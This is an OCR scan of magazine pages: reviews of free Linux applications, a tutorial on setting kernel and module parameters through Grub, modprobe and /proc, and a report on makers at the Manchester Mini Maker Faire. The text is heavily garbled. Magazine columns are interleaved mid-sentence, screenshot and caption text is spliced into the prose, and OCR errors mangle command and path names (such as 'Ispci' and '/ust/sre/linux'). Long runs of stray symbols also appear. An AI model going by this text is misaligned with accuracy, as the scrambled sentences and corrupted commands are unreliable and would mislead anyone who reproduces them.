You can even record 
macros (sequences of 
keypresses) to automate 
oft-repeated jobs. 
www. mutt.org 
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| @- Disk Usage Analyser CJ CALIBRE ovoo.ar10 BLUEFISH 
Ire nike magabex == |f youre into “If you do a lot of 
a. — a CRE eBooks, you absolutely website development 
as a Fa Se cannot miss this. work, you'd be wise to 
v mike 100.0% 26.0GB 15236items Calibre (as reviewed by give Bluefish a try. This is 
TivkGboK wes e270 Issa, 8=6aokens Ben last issue) doesn't pretty much a one-stop- 
PLi 100.0% 16.1GB 9it . ot ‘ 
se cay have the prettiest shop for text editing, with 
> coverdisc 32.4% 84GB 237 items| : : 
parks shiemianienay SsaBR eal interface in the world, but — support for (X)HTML, 
roms 1.8% 480.4MB 4items it understands a CSS, XML, PHP Perl, 
» mozilla 02% iSU7MB) ariiltems ridiculously large range Python, Ruby, JavaScript 
> thunderbird 0.1% 13.5MB 23 items 
; of eBook and document and many other 
> local 0.0% 9.5MB 148 items 
ee ee ius eenbied Giant formats (23 as of the languages. It lets you 
> minetest 0.0% 6.0MB —341items latest release) and it organise files into 
ramon aos) Game aackews can convert to 17 projects, has unlimited 
¢ db . 0 k i . 
ED ae formats as well. It's undo/redo, and (via 
> thumbnails 0.0% 806.9kB 49 items : 
oe niin ciate cabins excellent for managing GVFS) has heaps of ways 
>.adobe 0.0% 544.8kB items your library of books for you to upload your 
>.macromedia 0.0% 548.9kB —134items and also syncing them work onto the web. 
iain coe DEA eRe to your e-reader devices. __http://bluefish. 
> .gconF 0.0% 458.8kB 121 items 2 
kis eves wae ae — £88 | www.calibre-ebook.com _openoffice.nl 


Baobab provides a quick graphical guide to how you're squandering your disk space. 


GIMP 
SHUTTER BAOBAB Gimp is one of models. GEGL will also 
= There area million and one ways to take ® Running out of a oldest bel free oe iy lt 
screenshots on Linux; chances are that your desktop disk space? Can't tell seh iad waa editing @mmpage mages 
; ; ; ; ise and in recent years it has that are largerthan RAM! 
environment pops up something when you hit the which application or appeared as if development AGTK3 port is planned 
PrntScr button on your keyboard, or you just use directory is hogging too is stagnating. But the team —_for Gimp 2.10, bringing it 
Gimp. Those tools are OK for the purpose, but a much of your drive? is working on Gimp 2.10, in line with Gnome 3 and 
dedicated app like Shutter (which formerly had the Baobab is a graphical which will bring a bunch of | many other desktop apps; 
u ' F F 2 new features to the table. this should also make 
dreadful name “GScrot") does a much better Job. disk usage analyser : 2 é 
; ; ; ; ; ; First off, the long- it work better on HiDPI 
Along with capturing the entire Screen or a specific which shows pie charts awaited GEGL integration displays. We may even 
portion thereof, Shutter can grab a single window — depicting the layout of will be finally complete see a script recording and 
or even just a menu or tooltip. Once you have what your drive. It helps you to (having started in Gimp playback system too — but 
you want, you can then perform various editing jobs, identify the largest 2.6), which will boost only time (and developer 
: ; : : oe. support for high bit-depth willingness) will tell. 
cropping the image, adding arrows and text,and even directories in root (/), and 3 Z 
; : cee . , Q : : images and other colour www.gimp.org 
blurring out bits of sensitive information that you don't _ their subdirectories. 
want the world to see (eg an IP address). www.marzocca.net/ 
www.shutter-project.org linux/baobab 
MAILVELOPE 
) HIGHLIGHT NETHACK After the Snowden revelations last year, you 
“lf you've been The best game ever made? NetHack may look might be taking extra steps to keep your personal 
beavering away on some pants, but it's brain-frazzingly deep, complex and full communications safe from the prying eyes of 
code and want to share it of surprises. No two games are ever the same in this governments and big businesses. But if you use a 
with the world, Highlight dungeon-exploring romp, and people play it for years Webmail service, it's not easy to encrypt your data — 
can turn it into colourful (and even decades) before finally completing it. You not without a lot of hard work, at least. 
and pretty HTML, (La) need to invest a lot of time into it, but the rewards are Mailvelope is a browser extension for Firefox and 
Tex, ODT and other worth It — see issue 5's feature for the full lowdown. Chrome/Chromium that adds an extra button to the 
formats with a single www.nethack.org compose forms in webmail services such as Google 
command. It Supports Qe — Mail. After a few minutes of setting it up and creating 
whopping 180 (a a public/private key combination, you can then begin 


writing encrypted emails while still using your regular 
service. (Along with Gmail, it also works with Outlook. 
com, Yahoo Mail, GMX and other providers.) 

There are several browser plugins that do the 
same job, but Mailvelope is by far the simplest we've 
come across, with an excellent user guide, putting 
OpenPGP in the hands of everyone, regardless of 
technical level. 


programming languages, 
and includes 80 different 
colour schemes to 
match your website. It's 
easy enough to use via 
the command line, but 
there's also a version for 
users who prefer the GUI. 


ike the Stripling St:13 Dx:11 Co:19 In:1@ Wi:11 Ch:7 Lawful 


www.andre-simon.de Divl:3__$:140 HP: Pw:2(2) AC:4 _Exp:2 www.mailvelope.com i} 
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~ LINUX KERNEL 
PARAMETERS 


Dip your toe into the mysterious heart of your 
Linux machine, with Andrew Conway and the 
magic of Linux kernel parameters. 
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he dark days when new computer hardware 
[ often required compiling your own kernel 
are now firmly in Linux's past (though those 
were fun days). But the fact that Linux — meaning 
the kernel itself — is free software means that you can 
still delve deep into its innards and tweak it to your 
heart's content. 

In an ideal world, the user would never need to think 
about the kernel, but there are cases where it's useful. 
In fact, it becomes a 
necessity when 
hardware is faulty, 
such as with bad 
memory, or if it is 
shipped with buggy 
firmware that tells lies 
about capabilities such as CPU speed or temperature. 
In these cases, you'll need more control over the 
hardware than userspace software allows, and setting 
kernel parameters lets you do that without the hassle 
of compiling a kernel. 

Let's start with an example we encountered when 
bad memory came to plague a shiny new laptop. 
Sometimes it's not possible to replace the memory 
(for example, the SOC in a Raspberry Pi), and for some 
the expense of buying replacement hardware may be 
prohibitive — think of folk using old hardware in 
developing countries. 

If you're experiencing the symptoms of bad 
memory — random freezes and crashes — then you 


“In an ideal world the user would 
never need to think about the 
kernel, but sometimes we have to.” 


Oo] 


ie) 
Oo 
oO 
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should test it using a venerable utility called 
memtest86+. Many distros include it as an option at 
the boot prompt, or you can put a distro such as 
GPartedLive on a USB stick and select the 
memtest86+ option. The test will tell you if you've got 
bad memory and exactly where it is bad. In our case, 
the bad patch was reported as 2056.0MB to 
2176.0MB. The solution was to restart the laptop, and 
when the bootloader began, switch to its command 
line and set the 
memmap kernel! 
parameter with 
memmap=256M$2048M 

This instructs the 
kernel not to use the 
256MB of memory 
from 2048MB, and once booted with this parameter 
setting, the laptop became completely stable. The 
only noticable difference was that it had 256MB less 
memory than before. Given that it had 8GB of 
memory in the first place, this loss isn't too much of a 
problem and saves on the cost and hassle of having it 
fixed if outside the warranty period. 


The arcane lore of the kernel 

The memmap fix is straightforward enough once you 
understand it, but first you have to know that such a 
parameter exists and what Its cryptic syntax means. 
For example, you can replace $ with & or # and it'll 
work completely differently, and if you don't respect 
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memory boundaries it won't work at all. The aim of ; ; 
this article is to explore kernel parameters in case you Graphical kernel configuration 


have to use them in real situations involving faulty 


; If you're uncomfortable on the command consult the documentation for your distro. 
hardware or custom hobby projects. line and just want to learn more about the Then open a terminal window and cd to the 
To set kernel parameters at boot time you need kernel, there is a powerful yet simple GUI top level directory of the kernel source (often 
to get to know your bootloader. You can either set application that lets you explore the kernel /ust/sre/linux, but it's recommended to 
kernel parameters manually each time or edit the and its configuration. To use it, you firstneed copy the whole directory tree to somewhere 
b j : : to download the kernel source from kernel. under your home directory). Now type make 
ootloader's configuration file so that it gets set ; : 
; ‘ org, or you can use apt-get on Ubuntu or xconfig and the window shown will appear 
automatically on every boot. We'll concentrate on the yum on RPM distributions to grab it and - you can then lose yourself in the graphical 
most popular bootloader Grub 2, but the parameters associated tools — details vary, so best tree of kernel parameter goodness. 


themselves will be the same for any bootloader such 
as Lilo or SysLinux. 


Linux/x86 3.10.17 Kernel Configuration Yow 


KYW 
File Edit Option Help 


Olam) | ile 
Option 4] [option 
[| MIMutipte devices driver support (RATD and LVM iS. 

BiGeneric Target Core Mod (TCM) and ConfigFS! | Atheros wireless debugging 
~~ GFusion MPT device support ch fAtheros Six wireless cards support 

IEEE 1394 (FireWire) support ~D Atheros Sx debugging 

[120 device support DiAtheros Six tracer 

Macintosh device drivers /-Atheros 5y0 PCI bus support 
=Network device support 


b 


To boot 
You need to pay close attention at startup. If you see a 


text screen with ‘GNU GRUB’ at the top, then just earcnet supper re 
pport 
4 : . Distributed Switch Architect di ™ 
press E before the timeout ends and booting begins. If Ethemet drver support atheros seria ara ban mippan 
PHY Device support and infrastructure Atheros ath9k rate control - 
Y USB Network Adapters 2 al 
you don't see the Grub screen, and by default you Lge iad Atheros 802. 11n wireless cards support (ATHOO a 
1 ‘ : / ae 
won't with a normal Ubuntu install, you'll need to press Debuaging Options enka ues 
, econ une ciceate Options Ths module adds support for wireless adapters based on 
: ; oi Al q Al 
the Shift key to enter the Grub menu. This didn't work Stam Wireless LAN suppor Of chipsets. Fora specie ist of supported exemel oY 
‘ : ; [ITI wil 251 driver support cards, laptops that already ship with these cards and 
Ps that come wil 
for us when booting Ubuntu 14.04 in a VirtualBox VM bl a products page 
IEEE 802,15,4 drivers 
a | i http:/wireless. kernel, org/en/ |/Drivers/ath9k/product 
due to a problem with the VM capturing the keyboard, SPISON SIRO aprecutad) Bee ee at 
so if you experience it too, or you wish to boot to the raswecards we  ° 
A ~Passive cards Symbol: ATH9K [=m] 
. : . : . mcaeis ommend Prompt, Atteros 602.11n wireless cards support 
Grub screen everytime instead of frantically jabbing at taActive AVM cards Location 
: ; : - Active Eicon DIVA Server cards beg Network device support (NETDEVICES [=y]) 
si Gi t rt = = 
the Shift key, let it boot up into the OS, open a terminal tEModular SON drver  Mthetos wireless card (ATH_CAROS fam) 
F ‘ F =-Input device support Defined at drivers/net/wireless/ath/ath9k/Kconfig:18 
WI ndow and edit the configuration file: Hardware /O ports Deperie ‘on: NETDEVICES [=y] && WLAN [=y] && ATH_CARDS [=m] && MAC80211 [=m] && HAS_DMA 
d I ti /d f It b 7 plese selects ATHOK HW =m) && MAC80211_LEDS [=y] && LEDS_CLASS [=y] && NEW_LEDS [=y] && | 
sudo nano /etc/derault/gru [IPM top-level message handler Fe COMMON: [=m 
| > 


and put a # at the start of the line with GRUB_ 
HIDDEN_TIMEOUT=0 to comment it out. Then save Xconfig uses the Qt toolkit to give a graphical overview of your Linux kernel. 


the file and tell Grub to update with: 
sudo update-grub 
This causes Grub to rewrite its files on the disk. that contains the root filesystem; in this case it's 
These are essential for booting your computer, so be specified by a UUID. It's still common to see 
vigilant for errors or warnings, and if you do get any, something like root=/dev/sda2, which means the 
check online to find out what they mean and take second partition (2) on the first disk (a). Then we have 
action if needed. If update-grub did its job properly, ro, which means that the filesystem should be 
reboot your computer and you should be presented mounted read-only so that disk checks can be reliably 
with the GNU Grub screen where you can press E. performed — it will be remounted rw or read-write later 
You will now see a rather intimidating dozen or so on. Next we have quiet, which tells the kernel not to 
lines, as shown in the screenshot, below. These are output verbose text to the console, and splash 
commands for Grub, but towards the end you should enables a pretty graphic screen during booting. 
see aline that starts with linux — this is the kernel Asa safe and informative experiment, try deleting 
command line. On Ubuntu 14.04 (installed using GPT — quiet and splash, then hit F10 to boot the system and 
and EFI) it looks like this: you'll see lots of kernel messages spewed onto the 
linux /boot/vmlinz-3.13.0-32-generic.efi.signed console. Ordinarily this isn't all that useful, except 
root=UUID=<long UUID> ro quiet splash perhaps if you twitch your unblinking eyes very fast 
Yours may differ in detail, but immediately after and say “interesting” to fool an onlooker that you can 
linux you will see the location of the file containing the —_ read as fast as Data from Star Trek. Of course, these 
kernel that will be used. After that is our first kernel messages can yield vital clues if the boot process is 


parameter, root. This is crucial. It specifies the device getting held up, or stops altogether. One common 
problem that can be spotted this way is if the partition 
or disk with the root filesystem isn't found where it 
should be. Correcting the setting of the root kernel 
parameter can fix it, although it could just be that that 
the drive isn't plugged in, or has an unsupported 
filesystem. If you've ruled out all those causes and 
you're dealing with a USB-connected drive, then it's 
possible it might not have “settled” by the time the 


Press the E key at boot time to bring up this Emacs-like kernel starts looking for it. To avoid this problem you 
editor, which lets you set kernel parameters in Grub. can add rootdelay=10, which tells the kernel to delay 
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10 seconds before mounting the root filesystem. This in LVO02), kept dropping its wireless connection. It 
can be especially handy with a Raspberry Pi if you eemed that, although Dell had included the latest 
want to use a large external hard drive to contain a ivers for the wireless chipset, they weren't entirely 


Qan 


root filesystem that won't fit on an SD card. bug-free. But setting just one module parameter fixed 
the issue, and saved me a good deal of hair loss. 
Kernel, bread and butter Before going further, let's take another look at kernel 
A helpful analogy is to compare the kernel to bread. A configuration. You may have noticed some lines like 
good loaf is baked to a precise recipe. The recipe for this that end in =m: 
the kernel is its configuration, which specifies what CONFIG_EXT4_FS=m 
a ee hardware the kernel supports, | where m doesn't stand for “maybe” (although that'd be 
a F eg types of x86 or ARM accurate), but “module”. This means that the feature, 
Setting module parameters CPUs, and other things like in this case support for the ext4 filesystem, is not built 
can breathe new life into what filesystems it can work __ into the kernel, but as a module that can be loaded if 
= - ; ” ~~ with, such as ext4 or btrfs. needed. When the distro maintainer is compiling the 
hon functioning hardware. To see the configuration of kernel, they can’t know which filesystems you will use. 
the kernel you're currently So instead of building many filesystems into the 
running, type: kernel, bloating it with code that won't be used, 
zcat /proc/config.gz | less support for different filesystems are built into separate 
Anything that's set to =y means yes, that feature is modules, which can be loaded as needed. 
enabled and/or built into the kernel. For example, the f you know exactly what your kernel will be used to 
first few lines on the laptop I’m writing this on read are: ~—do and on what hardware it is going to run, such as a 
CONFIG_64BIT=y smart TV, then you can build just what is needed into 
CONFIG_X86_64=y it, Keeping it small and simple, and not have any 
CONFIG_X86=y modules. The bread analogy is still applicable. You 
which tells me | can run both 32- and 64-bit x86 code. — can use the butter “module” with plain bread for your 
Once the configuration is decided, the next step is morning toast, and you can use the same loaf with 
to compile it, which is a bit like baking the bread. Both = cheese and tomato as “modules” to build a sandwich 
take a while and involve much heat, which for the for lunch. Alternatively, you could choose to bake 
kernel is because compilation is CPU-intensive. cheese and tomato into a loaf, but it would then only 
Setting module parameters can breathe new life be useful for certain meals. 
into non-functioning hardware, as we saw with 
memmap, but it can also help work around buggy Mess with a running system! 
drivers. | was recently dismayed to discover that my Another advantage of modules is that, unlike the 
shiny new Dell XPS 13, shipped with Ubuntu (reviewed memmap example, you can still set kernel parameters 


after the system has booted up. To display 


Module parameters information about a module, use the modinfo 
command, as explained in the boxout, left. You can list 


7 


The command modinfo video is a great list on kernel.org (www.kernel.org/doc/ the modules currently in use with Ismod — both 
example of how to show information about Documentation/kernel-parameters.txt): “If commands need to be run as root or with sudo. 
a module, in this case the video module. Of set to 1 [or Y], on receiving an ACPI notify Going back to my laptop's issue with dodgy 
most interest here are the three parameters event generated by hotkey, video driver will wireless, | did some searching and discovered that the 
in the parm: lines. You can discover their adjust brightness level and then send out the ; ee? ; 
current settings by looking at files in the event to user space through the allocated modu eae buggy whe ; dealing with ha dware 
/sys/module/video directory, as shown for input device; If set to 0, video driver will encryption, and that loading the module with 
brightness_switch_enabled. We can discover _ only send out the event without touching hwcrypt=0 would solve problems with the wireless 
what the parameter does by consulting the backlight brightness level.” dropping out. Before you can do that, you need to find 

the name of the module that provides the driver for 
Me Feta uaaL)Shonanie yo your wireless chipset. For a USB device, this can be 
File Edit View Bookmarks Settings ae . done by looking through he output from: 

[) usb-devices | less 
You should see a block of information for your 


device with some human readable text description like 
“Wireless networking’, and at the end of the last line 
you will see the kernel module in use after Driver=. If 
your wireless chip is not USB connected, it will be on 
the PCI bus, which requires two steps to identify it. 
First locate the wireless chipset with: 
sudo Ispci | grep -i network 
For me this gave a long line that started wi 
01:00.0, which | could then use to display mo 
verbose information with this command: 


Ol 
a 


kernel_parameters : bash 


a) 
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Bootloaders 


limitations. 


use init. 


After you power up a computer, the onboard firmware will hunt for some 
code to run. The old-fashioned BIOS will look to the MBR (Master Boot 
Record) at the start of any disks it can find, and tell the CPU to run any 
suitable code that is found. These days UEFI has replaced the BIOS and 
MBR system, and does a similar job but with more features and fewer 


The most common bootloader is Grub, but others such as Lilo, Syslinux 
and Gummiboot all do much the same job in slightly different ways. You 
can think of a bootloader as a temporary, mini operating system (see 
MikeOS and its excellent documentation) that is needed only in the early 
stages of a computer starting up. The final job of any bootloader is to load 
the kernel with its command line parameters and also to tell it what to run 
as its first process — these days it will be systemd, but some distros still 


The Raspberry Pi is worth a mention because it doesn’t use a normal 
bootloader. It starts with its ARM CPU disabled; the GPU runs firmware 
code and looks only at the SD card and runs the file /boot/bootcode.bin. If 
you want to alter kernel parameters at boot time, you can add them to the 
cmdline= line in the /boot/config.txt file, or in the file /boot/cmdline. txt. 


sudo Ispci -v -s 01:00.0 

On the last line of my output was the important 
information Kernel modules: ath9k. (If no kernel 
module is listed, then you might need to load it 
manually; of which, more later). 

To set a module parameter manually, you'll first 
need to unload the module. Warning: doing this could 
cause serious problems. It's safe enough to do with 
the module controlling a wireless chipset (as long as 
you don't mind losing wireless for a bit), but unloading 
a module for the root filesystem is asking for trouble! 
To unload a module, in this case my ath9k module, 
just do: 
sudo modprobe -r ath9k 
then to reload it and set the nohwcrypt parameter, just 
enter this line: 
sudo modprobe ath9k nohwcrypt=1 
and that's it. This would need to be done every time 
the laptop is started up, but you can make it 
permanent by creating a file in /etc/modprobe.d. The 
name of the file is up to you, but something 
descriptive like ath9k_myfix.conf would be 
appropriate, and it need only contain: 
options ath9k nohwcrypt=1 

Remember, this only works if ath9k was compiled 
as a kernel module, which will usually be the case, but 
if tt were compiled into the kernel (y instead of m in 
the kernel config), then you can still set it at boot up by 
adding ath9k.nohwcrypt=1 to end of the kernel 
command line. 

There’s more you can do with the conf files. 
Sometimes hardware is misidentified and the wrong 
kernel module is loaded. For example, say you notice 
your wireless is not working and then you notice that 
the ath9k_hte module is loaded, but you know your 
hardware is not made by HTC. The solution would be 
to blacklist the offending module, which you can do 
by creating the file /etc/modprobe.d/ath9k_myfix. 
conf, but this time it has just this line: 


blacklist ath9k_htc 

or you might prefer to add that line to an existing 
blacklist.conf file. This will stop that incorrect module 
from loading, and hopefully you'll find ath9k is loaded 
instead. 

Sometimes it's still necessary to force the loading of 
amodule. To do this, you can create a file in 
/etc/modules-load.d. For example, in order for the 
CUPS printing system to work, Ubuntu 14.04 comes 
with cups-filters.conf, which contains the following 
lines to load three printing related modules: 

Ip 
ppdev 
parport_pc 

It is possible to set some kernel parameters on a 
running kernel even if they're not part of a module. A 
useful example is the swappiness parameter, which 
controls how swap space is used. To change it, you 
edit a file (actually it's not a real file, but a virtual one 
generated by the kernel) with something like: 
sudo nano /proc/sys/vm/swappiness 

The file will contain the current setting, which will 
probably be the default of 60. Set it to 100 and the 
kernel will swap from memory to disk aggressively; 
set it to 0 and you may well notice a speed boost, but 
at the risk of problems if you run short on memory. 


Further reading 

The definitive source of information on kernel 
parameters is www.kernel.org/doc/Documentation/ 
kernel-parameters.txt. Ubuntu’s documentation on 
kernel parameters is also worth reading: https://wiki. 
ubuntu.com/Kernel/KernelBootParameters, as is the 
Arch Linux wiki: https://wiki.archlinux.org/index.php/ 
Kernel_parameters. For a more complete overview of 
the subject, though a little out of date now, is Linux 
Kernel in a Nutshell by kernel developer Greg Kroah- 
Hartman, available as a free download on his website 
www.kroah.com/Ikn or in print from oreilly.com. 
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MAKERS 


OF THE WORLD, 


UNITE 


TAKE OVE 


..you have nothing to lose except your fear of breaking 
things. Les Pounder meets some of the hardware 
hacking revolutionaries setting their ideas free. 


ll around the world, makers are tinkering and open technology, but they also use open knowledge, 
hacking with projects as small as a one-inch as instructions and guidance are openly shared in 
cubed router, VoCore (www.indiegogo.com/ person and via their respective websites. We went to 


projects/vocore-a-coin-sized-linux-computer-with- one of these, the Manchester Mini Maker Faire, to find 
wifi/x/67844) and as large as a fire breathing dragon out more about the weird and wonderful projects that 
called Gon Kirin (www.treehugger.com/gadgets/ are coming to life thanks to free software. 
maker-faire-2012-gon-kirin-fire-breathing-dragon. 

html). What links every project, no matter its scale, is Minecraft makers 

that it was once a spark of an idea in a maker's head Patrick Fenner is acalm and collected chap who 

— and 99% of these projects have been created thanks — works out of the Does Liverpool makerspace, and his 
to Linux and free software. Projects such as the passion for re-inventing and hacking knows no 
Arduino, the Shrimp and the Raspberry Pi (mostly) are bounds. “Today, Ross [Dalziel], Adrian McEwen and | 
open source, enabling oo are running a stall of 
creative people to a 7 things that are 

reuse them in all sorts Makers have a diverse range of connected to the 


n 
. . . Nn 

ofwayswithot backgrounds in art, engineering _istemetbut which 
O 


having to ask anyone's ” shouldn't be, such as 
permission to do so. and even anthropology. our train set. We have 
Makers come in all a Raspberry Pi running 
shapes and sizes, with a diverse range of a Flask server — Flask is a self-hosted web server that 
backgrounds in art, engineering and even can provide a self-hosted API. In this case we're using 
anthropology, and using technology such as the it for an API and a webpage, which enables external 
Arduino and Raspberry Pi they are able to realise their — control of the trains via any internet-connected device. 


ideas in new and interesting ways — anda Maker Faire This is then connected through an AlaMode [AlaMode 
is the perfect place to share these ideas. Not only are is an Arduino-compatible board that connects to the 
the projects showcased at these events based on Raspberry Pi GPIO pins] to give you the Arduino side, 


wT wwe 
POY 
which is then linked to the physical buttons, which are ARS 
used to trigger actions such as speed and direction ee5ee@ 
changes through H bridges". eeee@ 
Patrick, being a freelance engineer, uses projects eee0e@ 
such as this as an opportunity for research and LAX) 
development. “The types of control used in this project ADA Y 
are usefu in applications such as home automation, eeee@ 
turning lights on and off remotely or monitoring eee@ 
temperature data and sending the data to an external @ee0e0 
destination.” AAAS 
Ross Dalziel, also from Does Liverpool, is working women 
on two projects, one of which involves Minecraft. Ross eeee@ 
explains “We have been using Arduino-compatible e@e@e@ 
boards called Shrimps to control aspects of the eee0 
Minecraft world. For example, we have a light switch ee wan 
on the stall that will change the time of day on our AA Ay 
Minecraft server. This is then connected to a Python eeeee@ 
sketch that makes calls to the Minecraft server to set The internet of things encompasses refrigerators, home heating 0000 @' 
the time of day accordingly.” The whole build took systems, and devices made out of Meccano. ©0000 
Ross around an hour to complete. As well as rae 
Minecraft, Ross has been working with a school in binary-compatible with an Uno. It comes as a kit that eeeee 
Barrow-in-Furness to develop a low-cost device to you build on a breadboard. It's a cheaper alternative to eee@ee@ 
check water pollution. “The water sensor can sense the Arduino, and by building the Shrimp you will learn 0000 @' 
how dirty a sample of water is by using a simple LED some of the fundamentals of how it works.” The idea ©0000 
and a light-dependent resistor. The clarity of the water — of a low-cost Arduino is intriguing, and a few projects vane 
produces data, which is then used to draw graphs in have sprung up based on it. “The ShrimpKey, created ry YY YX ¥ 
Minecraft. |'m interested in using Minecraft fo by Sjoerd Dirk Meijer, is a substitute for the Makey eeee@ 
experiments, despite it being a closed platform.” waloaae 
Ross elaborates “Minecraft really allows children to 7 . 
be involved with the infrastructure of the game such “The low cost of the Shrimp kit vaaaie 
as creating a Bukkit server [a Bukit server enables enables anyone to try it out, and eeeee 
players to host their own Minecraft world for others to = : i eee@e@ 
play] to enable enhancements in the game. It's this helps it reach more people. ©0006 
informative to see what people will do when running eee eee DAY 
their own Minecraft world and the infrastructure Makey, an Arduino board that can turn everyday eeeoee 
behind it.” objects into controllers. Makey Makeys are extremely ry yy YX Xx 
simple to put together — from an electronics point of ee0e0e0@ 
The Shrimp project view it's just a load of 20MQ resistors connected to an ©0000! 
One project in particular that has drawn a lot of Arduino.” This is great news, as the Makey Makey wana 
attention in the maker community is the Shrimp currently retails at around £40. When you consider eeeee 
project by Cefn Hoile. “The Shrimp is an Arduino that some larger projects require more than one e@@e@e@ @' 
Uno-compatible circuit”, says Cefn. “Itis fully pin-and = Makey Makey, it can get quite expensive, whereas ee0e00@ 
adding the extra components necessary to turn a ©0000 0' 
Shrimp into a ShrimpKey costs pennies. “The low cost eaieaar 
of the kit enables anyone to try it out, and this helps it eeeee@ 
reach more people. We are also keen to keep our @@@@ @' 
documentation evolving and at this time our main ©0000 
focus Is on maintaining the high level of quality ©0000 
documentation and projects on our site.” ooae 
Cefn's Shrimp, other Arduinos and the Raspberry Pi eeeee@ 
can be used with Scratch, so with the Shrimp and @@@e@ @ | 
Scratch for Arduino you would expect to have an ®0ee0@ 
exceptionally cheap platform for study. Kimball vaieiaare 
Johnson, of the HacMan space in Manchester, told us eeeee 
“In practice it is easy to do but it needs a context and eee@ee@ 
teachers will want to know ‘What is the activity that | ©0006 @' 
can do with it?’ rather than just wanting to learn more ©0000 
about the tools that are being offered to them. So waatatate 
Your local hackerspace probably has a 3D printer or two projects need to focus on the context and the goal TY Y YY X 
for you to test your latest creation. rather than showing off the hardware that it contains.” eee@ee@ 
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AA SX 

e0000 

80000 around £150 to put together and took around two 

MASALA weeks to build. We have named the project a ‘Geek 

90000 | 7 

eee0e0@ trap’, as when we use the plasma fire demo it just 

8ee0e0 attracts everyone to our stall.” 

00000 The cube drew us in, but we stayed with the Leeds 

800008 hackers for their other projects, including a Raspberry 

Sooo? Pi d soft defined radio (SDR) project 

WY YY) PEpOWeTe software defined ra io ( project. 

@eeee0@ his project is an ADSB (Automatic Dependent 

8ee0e0 Surveillance Broadcast) receiver” Jon tells us, 

e0000 “which receives signals from aircraft transponders. 

&eecee Historically radar would ping an aircraft and it would 

BoP gatas d with a four-digit identificati b dif 

“WYYyy) espon with a four-digit identification num per, and | 

@e0e00@ he air traffic controller was lucky, also the aircraft's 

98ee00 altitude. Over the last few years all of that has gone 

A AY digital. Certainly all of the big airliners, when they 

e50eeee@ We love the idea of making Minecraft interface with real-world data. espond to ADSB, they provide data such as aircraft 

“Wyyy) identification, direction, speed, altitude and position. 

@e0e000 Kimball is keen to point out a potential block for the So with ADSB the air traffic controller has more data 

80000 use of Arduino/Shrimp in school. “One of the main o work with and can organise aircraft with greater 

AAAS reasons for the development of the Raspberry Piwas _ precision. For my project all of this data is displayed in 

80000 

e0eeee@ due to the locked-down nature of school ICT suites. amap and stored in a database” SDR is currently en 

eeeee@ The use of the Shrimp in school is a good idea, would ~~ vogue with hackers and there are a growing number of 

1e0000 a child be allowed to plug one into a USB port ona DVB-T USB TV tuners that can be hacked to work with 

errrr school machine?’ It's clear that the Shrimp is a many different types of radio transmissions including 

A ee5ee popular tool for low-cost prototyping, but with the airband frequencies commonly used by airlines and 

eeee0@ locked-down state of school networks andsome ICT — marine-based organistations. 

9ee0ee@ departments resistance to utilising products outside 

ee0e00 Manchester, so much to answer for 

‘ose “ . . . HacMan has been Manchester's hackspace for many 

ooo Events such as Pi Wars pit devices _ jears, andis based in the northern quarter of 

ee0e0e0@ against each other in a sort of Manchester. The HacMan stall is groaning under the 

xX x ) = i weight of an enormous etch-a-sketch. “Project-A- 

e0000 robot Olympic games. Sketch was one of the first projects built by HacMan 

ence when they were based at MadLab. In fact it was 

YY YY) of the “norm” there is some way to go for the Arduino conceived around the time of Stockport Hackspace, 

) to make it into the classroom. which was the hackspace for Manchester before we 
@0e0e0e0 

8e0ee0e0 moved to a better location”, Kimball tells us. Further 

00000 Raspberry Pi radar along the stall there is a rather interesting arcade 

‘eeeee Like magpies, we were drawn to Jon Stockill and cabinet. “Originally it was a standard upright arcade 

WY YY) Leeds Hackspace. “We've probably brought more cabinet that was donated to us which housed a rather 

e@e0e0e0 LEDs than anyone else, as the main projectis anLED _large, heavy CRT screen. We have now modified it to 

80000 cube measuring 8 by 8 by 8 LEDs — a total of 512 run with an LCD screen, which is much better for the 

AAA LEDs! The cube displays any tweets that use a environment.” Kimball then goes on to explain how 

re-programmed hashtag. The whole cube cost they reduced the depth of the cabinet and replaced 

eeee0@ pre-prog g y p p 

80000 

e@00e0e0 ae : 

290000 Manchester Mini Maker Faire 

e@0000 

80000 Manchester Mini Maker Faire is now in its third year and is 

e0000 hosted at the fabulous Museum of Science and Industry 

80000 (MOSI) in the heart of Manchester. MOSI is the natural home 

e@0e000 for Maker Faire, with many inventions from the industrial 

80000 revolution rubbing shoulders with computers from the 20th 

e0000 century technological revolution. Manchester Mini Maker Faire . = = 

80000 is a great place to meet fellow makers and gain inspiration for : L'/ fel, S| g 

e0000 your next project with four floors full of inventive = 

80000 projects, hands-on workshops and talks. Maker Faires have 

e0000 been slowly cropping up around the UK, normally in major 

98ee0e0 towns and cities. Brighton Mini Maker Faire is exceptionally 

e0e000 popular, and Newcastle upon Tyne has a much larger Maker 

80000 Faire in April each year, drawing crowds from around the The concept of Maker Faires comes from Make 

woeoe country for a full weekend of indoor and outdoor hacking. magazine, as a way of bringing kindred spirits together. 
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©0006 
the innards “with a mini ITX-based board and placed it waar 
on a hinged panel for easy access. For the LCD screen eeeoee 
we removed the panel and bezel and mounted the ryyy x Xx 
screen using duct tape.” ee0e00@ 
©0006 
Arduino anthropology aaiuen 
Manu Bruggmann is an anthropologist at Lancaster eeeee 
University, and is part of the Highwire programme, a @@@@ @ | 
digital innovation PhD programme for those in the @e0e0e0@ 
computing, design and management worlds. Manu's ©0000! 
project is unique among the many stalls here today, ARNG 
he has brought a dress with a very special property. “| eeeee@ 
spent five months in the Arctic writing about the @@@@ @ 
indigenous people there and their engagement with @e0e0e0 
echnology. One of the most important stakeholders waratatata 
in my research were reindeer herders, because they This is Frank — HacMan’s life-size version of the Operation game, TY Y YY Xx 
are the ambassador for their culture. One of the complete with screens, buzzers and LEDs, and powered by an Arduino. eeeee@ 
biggest challenges that these people are facing is the @@@@ @ i 
increasing number of wind farms being developed in becomes thin in summer, a poor insulator to keep the ©0000 
he area. Reindeer are extremely afraid of wind farms, — wearer cool. But it could expand and trap air in winter areas 
so ina diameter of 16km reindeer will not approacha — to keep the wearer warm in the cold weather. This eeeee 
wind farm. But big companies install wind farms in could inspire someone with a commercial interest to eee@ee@ 
his area due to the low cost of landenabling them to take alook at the project and adapt it for the market. 0000 @' 
build forests of wind farms. This has affected reindeer $$$ AAG @ Oy 
a eras “If any of these projects have co0ee 
“One stakeholder told me that ‘wind farms ae ae ry YY YX ¥ 
suffocated their culture’, and that statement drove sparked a fire of creativity inside TAPAS 
he development of the dress. The restriction of the _ way ( 
dress, the shape shifting aspect, is designed to be you, good go forth and build! ©0000 
uncomfortable to create empathy with their culture vaaaie 
and how it is slowly being suffocated. The dress '‘m not a computer scientist — I’m an anthropologist TY YY y X 
